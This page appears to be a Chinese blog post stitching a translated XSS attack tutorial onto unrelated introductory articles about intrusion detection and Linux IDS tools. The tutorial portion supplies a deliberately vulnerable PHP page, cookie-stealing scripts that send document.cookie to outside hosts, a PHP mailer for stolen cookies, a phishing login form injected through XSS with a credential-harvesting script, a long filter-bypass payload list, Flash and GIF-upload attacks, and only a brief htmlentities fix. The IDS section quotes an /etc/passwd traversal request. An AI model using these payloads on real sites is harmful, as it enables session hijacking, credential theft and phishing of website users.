<style type=”text/css”>
<!–
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
–>
</style><title>Simple XSS vulnerability by Xylitol</title>
<body>
<form action=”XSS.php” method=”post”>
<p align=”center”><strong>Simple XSS vulnerability by Xylitol </strong></p>
<div align=”center”>
<table width=”270″ border=”0″>
<tr>
<td width=”106″><strong>Search:</strong></td>
<td width=”154″><input name=”Vulnerability” type=”text” id=”Vulnerability” /></td>
</tr>
</table>
<table width=”268″ border=”0″>
<tr>
<td width=”262″><div align=”center”>
<input name=”submit” type=”submit” value=” Search it ! ” />
</div></td>
</tr>
</table>
</div>
</form>
</body>
</html>
然后,把这个页面保存为index.html
再新建一个文本文档,把下面的代码放进去:
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-

transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=iso-8859-1″ />
<title>Search result:</title>
<style type=”text/css”>
<!–
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
–>
</style></head>
<body>
<span>Search result :</span>&nbsp;<strong><?php echo $_POST['Vulnerability']; ?></strong>&nbsp;
</body>
</html>
把文件另存为XSS.php

关闭记事本

在firefox里面打开index.html
输入一个值然后点search
返回页面输入
<script>alert(‘XSS’)</script>
发送表单
弹出一个对话框

_______________________________________
/ http://127.0.0.1 dit: X \
|________________________________________|
| |
| |
| ^ |
| / \ |
| / | \ XSS |
| / . \ |
| ——- |
| ______ |
| | OK | |
| —— |
|________________________________________|
XSS攻击这时产生了…

____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.:Chapter 3 – 制造一个cookie攻击 :.\ \ |
|___/ /___________________________________________\ \___|
/ / \ \
/___/ \___\

把这段代码插入到一个易受攻击的页面(如:留言板)
<script>
window.open(“http://www.lovelaozang.cn/cookie.php?cookies=”+document.cookie);
</script>
(www.Hax0r.com = 你的网站)
打开记事本,把下面的代码放进去,另存为cookie.php
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-

transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=iso-8859-1″ />
<title>Error</title>
<style type=”text/css”>
<!–
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
–>
</style></head>
<? mail(‘email@example.com’, ‘Cookie stealed ! – thx xyli :)’, $cookies); ?>
<body>
<h2><strong>Error</strong> – <strong>Access denied</strong> for <? echo $_SERVER["REMOTE_ADDR"]; ?></h2>
</body>
</html>
这对于攻击者还不够,等着还不如接收电子邮件。

____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.:Chapter 4 – 保护XSS :.\ \ |
|___/ /___________________________________________\ \___|
/ / \ \
/___/ \___\

修补漏洞:
为修复XSS漏洞使用htmlentities

在第16行放置
<body>
<span>Search result :</span>&nbsp;<strong><?php echo $_POST['Vulnerability']; ?></strong>&nbsp;
</body>
By:
<body>
<span>Search result :</span>&nbsp;<strong><?php
if(isset($_POST['Vulnerability'])) { echo htmlentities($_POST['Vulnerability']); } ?></strong>&nbsp;
</body>

use htmlspecialchars() function in PHP ;)

other function:
htmlentities() quotes
strip_tags()

____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.:Chapter 5 – 笨方法 :.\ \ |
|___/ /___________________________________________\ \___|
/ / \ \
/___/ \___\

要想进行一个XSS攻击是相当简单的事情,这里有些常用的方法:

利用image:
<IMG SRC=”http://lovelaozang.cn/xss.png”>
利用flash:
<EMBED SRC=”http://hax0r.com/Haxored.swf”>
重定向:
<script>window.open( “http://lovelaozang.cn/xss.html” )</script>
还有:
<meta http-equiv=”refresh” content=”0; url=http://lovelaozang.cn/xss.html” />

____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.:Chapter 6 – 过滤绕过 :.\ \ |
|___/ /___________________________________________\ \___|
/ / \ \
/___/ \___\

事实上也不是那么简单就能绕过 htmlspecialchars()
这里有一些关于绕过xss的例子:
<META HTTP-EQUIV=\”refresh\” CONTENT=\”0;URL=http://;URL=javascript:alert(‘XSS’);\”>
<META HTTP-EQUIV=\”refresh\”CONTENT=\”0;url=javascript:alert(‘XSS’);\”>
‘”>><marquee><h1>XSS</h1></marquee>

‘”>><script>alert(‘XSS’)</script>

‘>><marquee><h1>XSS</h1></marquee>

“><script alert(String.fromCharCode(88,83,83))</script>

<iframe<?php echo chr(11)?> onload=alert(‘XSS’)></iframe>

<div
style=”x:expression((window.r==1)?”:eval(‘r=1;alert(String.fromCharCo
de(88,83,83));’))”>

window.alert(“Xyli !”);

“/></a></><img src=1.gif onerror=alert(1)>

[color=red' onmouseover="alert('xss')"]mouse over[/color]

<body onLoad=”alert(‘XSS’);”

<body onunload=”javascript:alert(‘XSS’);”>

click me

<script language=”JavaScript”>alert(‘XSS’)</script>

<img src=”javascript:alert(‘XSS’)”>

‘); alert(‘XSS

<font style=’color:expression(alert(document.cookie))’>

<IMG DYNSRC=\”javascript:alert(‘XSS’)\”>

<IMG LOWSRC=\”javascript:alert(‘XSS’)\”>

</textarea><script>alert(/xss/)</script>

</title><script>alert(/xss/)</script>

<script src=http://yoursite.com/your_files.js></script>

“><script>alert(0)</script>

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

<IMG SRC=\”jav&#x0D;ascript:alert(‘XSS’);\”>

<IMG SRC=\”jav&#x0A;ascript:alert(‘XSS’);\”>

<IMG SRC=\”jav&#x09;ascript:alert(‘XSS’);\”>

<marquee><script>alert(‘XSS’)</script></marquee>

<? echo(‘<scr)’;
echo(‘ipt>alert(\”XSS\”)</script>’); ?>

<IMG SRC=\”jav&#x0A;ascript:alert(‘XSS’);\”>

<IMG SRC=\”jav&#x09;ascript:alert(‘XSS’);\”>

<marquee><script>alert(‘XSS’)</script></marquee>

<style>@im\port’\ja\vasc\ript:alert(\”XSS\”)’;</style>

<img src=foo.png onerror=alert(/xssed/) />

<script>alert(String.fromCharCode(88,83,83))</script>

<scr<script>ipt>alert(‘XSS’);</scr</script>ipt>

<script>location.href=”http://www.evilsite.org/cookiegrabber.php?cookie=”+
escape(document.cookie)</script>

<script src=”http://www.evilsite.org/cookiegrabber.php”></script>

<script>alert(‘XSS’);</script>

<script>alert(1);</script>
____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.:Chapter 7 – Flash攻击 :.\ \ |
|___/ /___________________________________________\ \___|
/ / \ \
/___/ \___\

Flash是用来做复杂的动画,模拟的,创造游戏等。

getURL()这个函数是有趣的,可以用来我们的攻击。这个函数可以帮我们改变最终用户到其它页面。

它的语法是这样的:getURL(url:String, [window: String,[method:String]])
如:
getURL(“http://lovelaozang.cn/login.php?logout=true”,”_self”);

url: 网站的地址
window: 指定框架要求(_self, _blank…)
method: 请求方法 GET or POST (by defect GET)

这里的处理动作和JavaScript以发布警报:
getURL(“javascript:alert(‘XSS’”);

在2002年表现出这种形式的危险
这种方式是一种可以发送用户的cookie的;
getURL(“javascript:alert(document.cookie)”)

在2005年12月,开辟新的途径,并出现构成已受益于两年前XSS和可能性,把一个文件Flash放在签名中,以提供一个永久性跨站脚本

攻击此外,作者的这种另类使用的技术,以便传给公司,以背离蠕虫着XSS的德萨米:Samy 重装上阵

用flash窃取cookie?
不是,但有技术的做:
如:
在一个FLASH文件:
GetURL(“http://www.victime.com/page.php?var=<script src=’http://www.lvoelaozang.cn/hack.js&#39;></script>”,”_self”);

在这个hack.js文件里面有如下代码:
document.location=”http://hax0r.com/cookiestealer.php?cookie=”+document.cookie;

这个解决方法很简单:就是禁止flash文件在你的WEB应用上使用.

____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.:Chapter 8 – XSS 上传 :.\ \ |
|___/ /___________________________________________\ \___|
/ / \ \
/___/ \___\

兴个例子,我们来新建一个hack.gif文件.然后用记事本打开文件,删除所有的内容,然后写入代码
GIF89a<script>alert(“XSS”)</script>
保存退出.
上传hack.gif到相就的地方…此时跨站发生
不要用Mozillia Firefox来访问那张图片,Mozillia 不会执行我们的alert.要用Internet explorer.

为什么添加GIF89a ?
因为很多上传程序会来检查我们的gif文件是否包含 ‘GIF89a’,如果包括则认为是gif文件.
GIF89a<script src=”http://lovelaozang.cn/cookiegrabber.php”></script>

我们需要知道一些其它格式图片,头部所包含的代码.

PNG = ‰PNG
GIF = GIF89a
JPG = ???à JFIF
BMP = BMF?

为了安全不要仅仅只检查getimagesize()

____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.:Chapter 9 – XSS 钓鱼 :.\ \ |
|___/ /___________________________________________\ \___|
/ / \ \
/___/ \___\

你是否明白什么是钓鱼?什么是XSS?

在这个例子里,有必需找到一个易受攻击的网站去XSS并注入那里,身于一种形式,以自己直接在网址以下代码
<p>Enter your login and password, thank:</p>
<form action=”http://hax0r.com/mail.php”>
<table><tr><td>Login:</td><td><input type=text length=20 name=login>
</td></tr><tr><td>Password:</td><td>
<input type=text length=20 name=password>
</td></tr></table><input type=submit value= OK >
</form>
这个通过这个模仿的表单,然后利用mail.php通过电子邮件把表单里的数据发送给你。
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-

transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=iso-8859-1″ />
<title>Error</title>
<style type=”text/css”>
<!–
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
–>
</style></head>
<?php
$login = $HTTP_GET_VARS["login"];
$password = $HTTP_GET_VARS["password"];
mail(“email@example.com”, “Cookie stealed ! – thx xyli :)”, $password , $login );
?>
<body>
<h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>
</body>
</html>

用户会认为,服务器可能超过了负载,并不会怀疑

我想大家现在应该明白了这个原理了 Welcome to laozang’s blog!

什么是IDS?入侵检测系统简介和原理

IDS是英文“Intrusion Detection Systems”的缩写,中文意思是“入侵检测系统”。专业上讲就是依照一定的安全策略,对网络、系统的运行状况进行监视,尽可能发现各种攻击企图、攻击行为或者攻击结果,以保证网络系统资源的机密性、完整性和可用性。

入侵检测系统(Intrusion Detection System)就是对网络或操作系统上的可疑行为做出策略反应,及时切断资料入侵源、记录、并通过各种途径通知网络管理员,最大幅度地保障系统,是的合理 补充,帮助系统对付网络攻击,扩展系统管理员的管理能力(包括安全审计、监视、进攻识别和响应),提高信息安全基础结构的完整性,被认为是之后的第二道安 全闸门,它在不影响网络性能的情况下能对网络进行监测,从而提供对内部攻击、外部攻击和误操作的实时保护, 最大幅度地保障系统安全。它在网络安全技术中起到了不可替代的作用,是安全防御体系的一个重要组成部分。

IDS入侵检测系统[举例]

入侵检测系统的分类

入侵检测系统按照其数据来源来看,可以分为三类:
(1)基于主机的入侵检测系统

基于主机的入侵检测系统一般主要使用操作系统的审计跟踪*志作为输入,某些也会主动与主机系统进行交互以获得不存在于系统*志中的信息。其所收集的信息集中在系统调用和应用层审计上,试图从*志判断滥用和入侵事件的线索。

(2)基于网络的入侵检测系统
基于网络的入侵检测系统在通过在计算机网络中的某些点被动地监听网络上传输的原始流量,对获取的网络数据进行处理,从中获取有用的信息,再与已知攻击特征相匹配或与正常网络行为原型相比较来识别攻击事件。

(3)采用上述两种数据来源的分布式的入侵检测系统
这种入侵检测系统能够同时分析来自主机系统审计*志和网络数据流的入侵检测系统,一般为分布式结构,有多个部件组成。

入侵检测系统按照其采用的方法来看,可以分为三类:
(1)基于行为的入侵检测系统
基于行为的检测指根据使用者的行为或资源使用状况来判断是否入侵,而不依赖于具体行为是否出现来检测。这种入侵检测基于统计方法,使用系统或用户的活动 轮廓来检测入侵活动。审计系统实时的检测用户对系统的使用情况,根据系统内部保存的用户行为概率统计模型进行检测,当发现有可疑的用户行为发生时,保持跟 踪并监测、记录该用户的行为。系统要根据每个用户以前的历史行为,生成每个用户的历史行为记录库,当用户改变他们的行为习惯时,这种异常就会被检测出来。

(2)基于模型推理的入侵检测系统
基于模型推理的入侵检测根据入侵者在进行入侵时所执行的某些行为程序的特征,建立一种入侵行为模型,根据这种行为模型所代表的入侵意图的行为特征来判断 用户执行的操作是否是属于入侵行为。当然这种方法也是建立在对当前已知的入侵行为程序的基础之上的,对未知的入侵方法所执行的行为程序的模型识别需要进一 步的学习和扩展。

(3)采用两者混合检测的入侵检测系统
以上两种方法每一种都不能保证能准确地检测出变化无穷的入侵行为。一种融合以上两种技术的检测方法应运而生,这种入侵检测技术不仅可以利用模型推理的方法针对用户的行为进行判断而且同时运用了统计方法建立用户的行为统计模型,监控用户的异常行为。

入侵检测系统按照时间又可以分为两类:
(1)实时入侵检测系统
实时入侵检测在网络连接过程中进行,系统根据用户的历史行为模型、在计算机中的专家知识以及神经网络模型对用户当前的操作进行判断,一旦发现入侵迹象立即断开入侵者与主机的连接,并收集证据和实施数据恢复。这个检测过程是自动的、不断循环进行的。
(2)事后入侵检测系统
事后入侵检测由网络管理人员进行,他们具有网络安全的专业知识,根据计算机系统对用户操作所做的历史审计记录判断用户是否具有入侵行为,如果有就断开连 接,并记录入侵证据和进行数据恢复。事后入侵检测是管理员定期或不定期进行的,不具有实时性,因此防御入侵的能力不如实时入侵检测系统。

自从计算机以网络方式被连接开始,网络就成为一个重大问题,随着INTERNET的发展,系统的要求也与日俱增,其要求之一就是入侵检测系统。
本文旨在介绍几种常见的入侵检测系统及其理论和实践,需要指出的是,本文仅仅是一篇介绍性的文章,即使我推荐了许多可能的系统,在你相信其可靠性前,最好还是深入的研究一下他们。(NND,烦死我了,要敲4个字,以后我就简称ID得了。入侵检测系统就是IDS:-) )

一、什么是入侵检测。
入侵检测是指监视或者在可能的情况下,阻止入侵或者试图控制你的系统或者网络资源的那种努力。
简而言之,它的工作方式是这样的:你有台机器,被连接到网络上,也许就是被连到了INTERNET上,出于可以理解的原因,你也愿意为被授权者设置从网络上访问你的系统的许可。比如,你有以台连接到INTERNET上的WEB,愿意让客户、职员和潜在客户可以访问在WEB上的页面。
然而,你并不愿意那些未经授权的职员、顾客或者其他未经授权的第三方访问系统。比如,你不愿意除了公司雇佣的人员以外的人员可以修改储存在机器上的页面。典型的做法之一就是使用或者某种认证系统来防止未经授权的访问。
但是,在一些情况下,简单的使用或者认证系统也可以被攻破。入侵检测就是这样以种技术,它会对未经授权的连接企图作出反应,甚至可以抵御以部分可能的入侵。
那么,

二、为什么要使用ID呢?
以下给出了使用ID的理由:
(1)你需要保护自己的数据安全和系统,而事实是在现在的INTERNET环境下,如果你仅仅使用普通的密码和文件保护方式,你不可能永远保证你数据和系统的安全性。
(2)对于保护数据来说,没有什么比系统的安全更重要了,想就这么把你的机器连上INTETNET而不作任何防护,甚至连管理员密码都不设,就指望这台机器会太平无事,那简直是近乎于痴心妄想。同样,系统对核心文件或者授权数据库(比如NT的SAM和UNIX的/ETC/PASSWORD或者/ETC /SHADOW)的保护也是非常重要的。
(3)在通过局域网连接到INTERNET的环境下,经常会采用防火墙或者其他保护措施,如果在 NT环境下,如果开放了文件共享,或者允许TELNET,这台机器就需要更好的保护,比如在防火墙中对137-139端口(属于TCP/UDP),SMB 下的NT文件共享加以限制、使用SSH取代UNIX环境下的TELNET连接。
(4)ID还有进一步的作用,由于被放置在防火墙和被保护的系统之间,ID等于是在系统之上增加了以层保护。比如,通过ID对敏感端口的监测就可以判断防火墙是否已经被攻破,或者防护措施已经被灭了。

三、ID有哪些种类呢?
ID可以分为两大类,
(1)基于网络的系统:这种ID放置于网络之上,靠近被检测的系统,它们监测网络流量并判断是否正常。
(2)基于主机的系统:这种系统经常运行在被监测的系统之上,用以监测系统上正在运行的进程是否合法。我还想补充最近出现的一种ID:位于操作系统的内核之中并监测系统的最底层行为。所有这些系统最近已经可以被用于多种平台。

基于网络的ID
简介
基于网络的IDS是指监测整个网络流量的系统,一块网卡就可能会有两种用途:
普通模式: 受数据包里面所包含的MAC地址决定,数据被发送到目的主机。
任意模式(Promiscuous mode):所有可以被监测到的信息均被主机接收。
网卡可以在普通模式和任意模式之间进行切换,同样,使用操作系统的低级功能就可以完成这种变换。基于网络的IDS一般是需要把网卡设置成后以种模式。

包嗅探和网络监测
包嗅探和网络监测最初是为了监测以太网的流量而设计的,最初的代表性产品就是NOVEL的LANALYSER和MS的NETWORKMONITOR。
这些产品一般会拦截它们在网络上可疑拦截的一切数据包,当一个数据包被拦截后,可能会有以下几种情况:
对包进行累加,在截取的时间段内对数据包进行累加,用以确定该时间段内网络的负载,LANALYSER和MS的NM都在网络负载的表示界面方面有很好的表现。
对数据包进行分析:比如,当你想对抵达一个WEB服务器的数据进行分析时,你往往会先捕获一些数据,然后进行分析。
包嗅探工具在近年有了长足的发展,象ETHEREAL和新版的MSNM都可以对数据包进行详尽的分析。
最后罗嗦以句(NND,洋人就是P多):工具本身无善恶,全在人心,通过对连接到UNIX的TELNET连接进行包嗅探,就可能可以截取用户的密码,任何一个入侵者一旦得手,首先的事情就是会安装包嗅探器(NND,那是说高手,象俺最多在自己的机器上装个嗅探器,嘿嘿)

包嗅探与任意模式
所有包嗅探都需要网卡被设置为任意模式,因为仅在此模式下,所有通过网卡的数据可以被传送到嗅探器,包嗅探的使用前提是安装他的机器上使用者具有管理员权限
还有一点需要引起注意的是机的使用,请注意,不是HUB(NND,当我们中国人没见过机啊!),在交换机内,一个接口所接收的数据并不是一定会转发到另一个接口,所以,在这种情况下,包嗅探器并不一定可以发挥其作用。

基于网络的ID:嗅探器的发展
不幸的是,从安全的角度来看,包嗅探器好处有限。要去捕获每一个数据包,然后是分析、手工采取行动,实在是一件烦琐之至的事情,但是,如果用软件来代替我们的劳动呢?
这就是基于网络的ID要干的活。比如经常使用的ISS RealSecureEngine和Network Flight Recorder.

以下给出RealSecure Engine这种ID的作用:
监测网络上的数据传输情况。
如果数据为正常数据,允许其通过(或者留待以后分析),如果数据包被认为可能会危害目的地系统的安全,则发出”connectionclosed” (使用TCP时)或者”portunreachable’(使用ICMP时)以截断数据发送方和接收方之间的连接。
在这种情况下,RealSecure可以在防火墙后建立起以个有效的阻止系统,当然,也有在防火墙的位置直接使用RS的,而我(原作者-不是土鳖我啊!)不建议大伙采用这种方法。
基于网络的ID还有一些别的功能,比如:

监测明显的端口扫描。在攻陷系统之前,攻击者一般会扫描系统以发现系统的缺陷,一般说来,INTERNET上来自以台主机的端口扫描往往是有人开始攻击的先兆。
对常见的攻击方式加以监测。通过80端口连接到以台WEB服务器应该看来是以件很正常的事情,但是有些同样通过80端口进行的连接就可能是祸心内藏哦,看看这个命令你就知道了:
“GET /../../../etc/passwd HTTP/1.0”
鉴别各种IP欺骗。用于完成IP和MAC地址之间转换的ARP往往是攻击的重点,通过在以太网上向目的地址发布载有虚假ARP数据的数据包,入侵者可以将自己伪装成位于另外一个系统上,这样的结果就是各种拒绝服务攻击,当大型服务器(如DNS或者身份认证服务器)遭到攻击时,入侵者可以将数据包转发到自己的系统上。基于网络的IDS通过登记ARP包,对信息源(以太网地址)进行认定,如果确认信息来自于已经被攻陷的系统,则会对入侵者进行拦截。

如果探测到了有问题的行动,基于网络的ID会自行采取行动,包括重新配置附近的防火墙以拦截所有来自入侵者的数据流.

基于主机的ID
简介
当数据包抵达目的主机后,防火墙和网络监控已经无能为力了,但是还有以个办法可以试试,那就是“基于主机的ID”
基于主机的ID又可以分成两大类:
网络监测:这种监测对抵达主机的数据进行分析并试图确认哪些是潜在的威胁,任何连接都可能是潜在的入侵者所为,请注意,这点与基于网络的ID不同,因为它仅仅对已经抵达主机的数据进行监测,而后者则是对网络上的流量进行监控。如次一来就不需要把网卡设置成××模式了。
主机监测:任何入侵企图(或者成功的入侵)都会在监测文件、文件系统、登录记录或其他主机上的文件中留下痕迹,系统管理员们可以从这些文件中找到相关痕迹。
外来连接监测:
主机可以在数据包真正抵达主机之前对试图进入主机的数据包进行监测,以避免其进入系统后可能造成的损害。
可供选择的处理方式有:
监测未经授权的试图通过TCP或者UDP端口进行的连接,比如如果有人试图通过未开放任何服务的端口进行连接,就往往意味着有人在寻找系统漏洞。
监测端口扫描:在此我再推荐一种方式:调整防火墙或者调整本地IP配置(可以使用LINUX下的IPCHAINS)以拒绝来自可能的入侵者的连接请求。
值得推荐的两个文件是ISS的RealSecure Agent和PortSentry.

注册行为监测
即使网管做了最大的努力,安装了最新的IDS,入侵者也有可能使用无法被监测到的的手段来入侵系统,造成这种情况的重要可能之一就是入侵者使用包嗅探恩公工具已经取得了用户密码并能够合法登录系统。
HOSTSENTRY这样的产品的任务之一就是寻找系统的不寻常操作,对用户试图进行注册和注销进行监控,并就这些活动中不正常或者未曾预料的部分向系统管理员报警。

根操作监控
入侵者的最终目的是为了掌握被入侵主机上的根用户权限,如果一台WEB服务器规划的好的话,除了极少数的计划好的维修时间以外,根用户应该很少会有什么操作,但是根用户们也很少按照计划去进行检修,而是逮空就干,但是即使是这样,入侵者也很有可能在兔子都不拉屎的时间或者地方干出些什么事情来。
需要防御的战线还有以条:监视根用户或系统管理员

Linux下的IDS入侵检测工具

简单介绍几款Linux下的IDS入侵检测工具 psad、Apparmor、SELinuxu等.在之前的文章里也曾对入侵检测系统简介进行过介绍 。我们可以先去了解一下入侵检测系统原理和实践。

如果你只有一台电脑,那么对你而言花费大量的工夫仔细审查系统的弱点和问题是完全可能的。可能你并不真得希望这样,但却有此可能。不过,在现实世界中,我们需要一些好的工具来帮助我们监视系统,并向我们发出警告,告诉我们哪里可能出现问题,因此我们可以经常地轻松一下。入侵检测可能是一种令我们操心的问题之一。不过,事情总有两方面,幸好Linux的管理员们拥有可供选择的强大工具。最佳的策略是采用分层的方法,即将“老当益壮”的程序,如 Snort、iptables等老前辈与psad、Apparmor、SELinuxu等一些新生力量结合起来,借助强大的分析工具,我们就可以始终站在技术的前沿。

在现代,机器上的任何用户账户都有可能被用来作恶。笔者认为,将全部的重点都放在保护root上,就好像其它用户账户不重要一样,这是 Linux和Unix安全中一个长期存在的、慢性的弱点问题。一次简单的重装可以替换受损的系统文件,不过数据文件怎么办?任何入侵都拥有造成大量破坏的潜力。事实上,要散布垃圾邮件、复制敏感文件、提供虚假的音乐或电影文件、对其它系统发动攻击,根本就不需要获得对root的访问。

IDS新宠:PSAD

Psad是端口扫描攻击检测程序的简称,它作为一个新工具,可以与iptables和Snort等紧密合作,向我们展示所有试图进入网络的恶意企图。这是笔者首选的Linux入侵检测系统。它使用了许多snort工具,它可以与fwsnort和iptables的日志结合使用,意味着你甚至可以深入到应用层并执行一些内容分析。它可以像Nmap一样执行数据包头部的分析,向用户发出警告,甚至可以对其进行配置以便于自动阻止可疑的IP地址。

事实上,任何入侵检测系统的一个关键方面是捕获并分析大量的数据。如果不这样做,那只能是盲目乱来,并不能真正有效地调整IDS。我们可以将 PSAD的数据导出到AfterGlow 和 Gnuplot中,从而可以知道到底是谁正在攻击防火墙,而且是以一种很友好的界面展示。

老当益壮:Snort

正如一位可信任的老人,随着年龄的增长,Snort也愈发成熟。它是一款轻量级且易于使用的工具,可以独立运行,也可以与psad和 iptables一起使用。我们可以从Linux的发行版本的程序库中找到并安装它,比起过去的源代码安装这应该是一个很大的进步。至于保持其规则的更新问题,也是同样的简单,因为作为Snort的规则更新程序和管理程序,oinkmaster也在Linux发行版本的程序库中。 Snort易于管理,虽然它有一些配置上的要求。要开始使用它,默认的配置对大多数网络系统并不适用,因为它将所有不需要的规则也包括在其中。所以我们要做的第一件事情是清除所有不需要的规则,否则就会损害性能,并会生成一些虚假的警告。

另外一个重要的策略是要以秘密模式运行Snort,也就是说要监听一个没有IP地址的网络接口。在没有为它分配IP地址的接口上,如 ifconfig eth0 up,以-i选项来运行Snort,如snort –i eth0。还有可能发生这样的事情:如果你的网络管理程序正运行在系统中,那它就会“有助于”展现出还没有配置的端口,因此建议还是清除网络管理程序。

Snort可以收集大量的数据,因此需要添加BASE(基本分析和安全引擎),以便于获得一个友好的可视化的分析工具,它以较老的ACID(入侵数据库分析控制台)为基础。

简洁方便:chkrootkit和rootkit

Rootkit检测程序chkrootkit和rootkit Hunter也算是老牌的rootkit检测程序了。很明显,在从一个不可写的外部设备运行时,它们是更可信任的工具,如从一个CD或写保护的USB驱动器上运行时就是这样。笔者喜欢SD卡,就是因为那个写保护的的开关。这两个程序可以搜索已知的rooktkit、后门和本地的漏洞利用程序,并且可以发现有限的一些可疑活动。我们需要运行这些工具的理由在于,它们可以查看文件系统上的/proc、ps和其它的一些重要的活动。虽然它们不是用于网络的,但却可以快速扫描个人计算机。

多面手:Tripwire

Tripwire是一款入侵检测和数据完整性产品,它允许用户构建一个表现最优设置的基本服务器状态。它并不能阻止损害事件的发生,但它能够将目前的状态与理想的状态相比较,以决定是否发生了任何意外的或故意的改变。如果检测到了任何变化,就会被降到运行障碍最少的状态。

如果你需要控制对Linux或UNIX服务器的改变,可以有三个选择:开源的Tripwire、服务器版Tripwire、企业版Tripwire。虽然这三个产品有一些共同点,但却拥有大量的不同方面,使得这款产品可以满足不同IT环境的要求。

如开源的Tripwire对于监视少量的服务器是合适的,因为这种情形并不需要集中化的控制和报告;服务器版Tripwire对于那些仅在 Linux/UNIX/Windows平台上要求服务器监视并提供详细报告和最优化集中服务器管理的IT组织是一个理想的方案;而企业版Tripwire 对于需要在Linux/UNIX/Windows服务器、数据库、网络设备、桌面和目录服务器之间安全地审核配置的IT组织而言是最佳选择。